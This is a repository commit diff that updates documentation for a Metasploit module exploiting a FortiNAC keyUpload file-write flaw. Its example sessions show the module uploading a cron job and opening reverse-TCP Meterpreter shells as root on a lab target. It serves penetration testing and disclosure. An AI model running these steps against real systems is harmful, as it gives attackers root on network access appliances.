adam/metasploit-gs
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Responded to comments updated docs

Browse Source
This commit is contained in:
Jack Heysel
2023-03-09 17:39:53 -05:00
parent 63e2376f64
commit 06e7c3d702
2 changed files with 68 additions and 59 deletions
Download Patch File Download Diff File Expand all files Collapse all files
documentation/modules/exploit/linux/http/fortinac_keyupload_file_write.md
+43 -33
View File
@@ -75,29 +75,27 @@ GUI and once complete, restart the machine. You should now have a vulnerable ins
1. Receive a Meterpreter session as the `root` user.
## Scenarios
### FortiNAC 9.4.0 Python Target
### FortiNAC 9.4.0 CMD Target
```
msf6 > use exploit/multi/http/fortinac_keyupload_file_upload
[*] Using exploit/multi/http/fortinac_keyupload_file_upload
msf6 exploit(multi/http/fortinac_keyupload_file_upload) > set rhosts 192.168.123.11
msf6 > use exploit/linux/http/fortinac_keyupload_file_write
[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(linux/http/fortinac_keyupload_file_write) > set rhosts 192.168.123.11
rhosts => 192.168.123.11
msf6 exploit(multi/http/fortinac_keyupload_file_upload) > set lhost 192.168.123.1
msf6 exploit(linux/http/fortinac_keyupload_file_write) > set lhost 192.168.123.1
lhost => 192.168.123.1
msf6 exploit(multi/http/fortinac_keyupload_file_upload) > set lport 4440
lport => 4440
msf6 exploit(multi/http/fortinac_keyupload_file_upload) > run
msf6 exploit(linux/http/fortinac_keyupload_file_write) > set lport 4044
lport => 4044
msf6 exploit(linux/http/fortinac_keyupload_file_write) > run
[*] Started reverse TCP handler on 192.168.123.1:4440
[*] Started reverse TCP handler on 192.168.123.1:4044
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Sending zipped payload to /configWizard/keyUpload.jsp
[+] The target appears to be vulnerable. Target indicated a successful upload occurred!
[*] Sending zipped cron job to /configWizard/keyUpload.jsp
[*] Waiting for cron job to run
[*] Sending stage (24772 bytes) to 192.168.123.11
[*] Meterpreter session 1 opened (192.168.123.1:4440 -> 192.168.123.11:56544) at 2023-03-08 13:48:03 -0500
[!] This exploit may require manual cleanup of '/tmp/gSYDIjeD' on the target
[!] This exploit may require manual cleanup of '/etc/cron.d/PYXGcyGo' on the target
[*] Meterpreter session 1 opened (192.168.123.1:4044 -> 192.168.123.11:59938) at 2023-03-09 17:01:02 -0500
[!] This exploit may require manual cleanup of '/etc/cron.d/ZlzEXbWF' on the target
meterpreter > getuid
Server username: root
@@ -107,35 +105,47 @@ OS : Linux 3.10.0-1160.53.1.el7.x86_64 #1 SMP Fri Jan 14 13:59:45 U
Architecture : x64
System Language : en_US
Meterpreter : python/linux
meterpreter >
meterpreter >
```
### FortiNAC 9.4.0 Linux x64 Target
```
msf6 > use exploit/multi/http/fortinac_keyupload_file_upload
[*] Using exploit/multi/http/fortinac_keyupload_file_upload
msf6 exploit(multi/http/fortinac_keyupload_file_upload) > set rhosts 192.168.123.11
rhosts => 192.168.123.11
msf6 exploit(multi/http/fortinac_keyupload_file_upload) > set lhost 192.168.123.1
lhost => 192.168.123.1
msf6 exploit(multi/http/fortinac_keyupload_file_upload) > set lport 4440
lport => 4440
msf6 exploit(multi/http/fortinac_keyupload_file_upload) > set target Linux x64
target => Linux x64
msf6 exploit(multi/http/fortinac_keyupload_file_upload) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/http/fortinac_keyupload_file_upload) > run
msf6 > use exploit/linux/http/fortinac_keyupload_file_write
[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(linux/http/fortinac_keyupload_file_write) > show targets
[*] Started reverse TCP handler on 192.168.123.1:4440
Exploit targets:
=================
Id Name
-- ----
=> 0 CMD
1 Linux x86
2 Linux x64
msf6 exploit(linux/http/fortinac_keyupload_file_write) > set target 2
target => 2
msf6 exploit(linux/http/fortinac_keyupload_file_write) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/http/fortinac_keyupload_file_write) > set rhosts 192.168.123.11
rhosts => 192.168.123.11
msf6 exploit(linux/http/fortinac_keyupload_file_write) > set lhost 192.168.123.1
lhost => 192.168.123.1
msf6 exploit(linux/http/fortinac_keyupload_file_write) > set lport 9909
lport => 9909
msf6 exploit(linux/http/fortinac_keyupload_file_write) > run
[*] Started reverse TCP handler on 192.168.123.1:9909
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[+] The target appears to be vulnerable. Target indicated a successful upload occurred!
[*] Sending zipped payload to /configWizard/keyUpload.jsp
[*] Sending zipped cron job to /configWizard/keyUpload.jsp
[*] Waiting for cron job to run
[*] Sending stage (3045348 bytes) to 192.168.123.11
[*] Meterpreter session 2 opened (192.168.123.1:4440 -> 192.168.123.11:56578) at 2023-03-08 13:49:01 -0500
[!] This exploit may require manual cleanup of '/tmp/vprwoPAh' on the target
[!] This exploit may require manual cleanup of '/etc/cron.d/ZIpoyhHQ' on the target
[*] Meterpreter session 3 opened (192.168.123.1:9909 -> 192.168.123.11:38266) at 2023-03-09 17:31:01 -0500
[!] This exploit may require manual cleanup of '/tmp/HcYciseH' on the target
[!] This exploit may require manual cleanup of '/etc/cron.d/DsxejZgV' on the target
meterpreter > getuid
Server username: root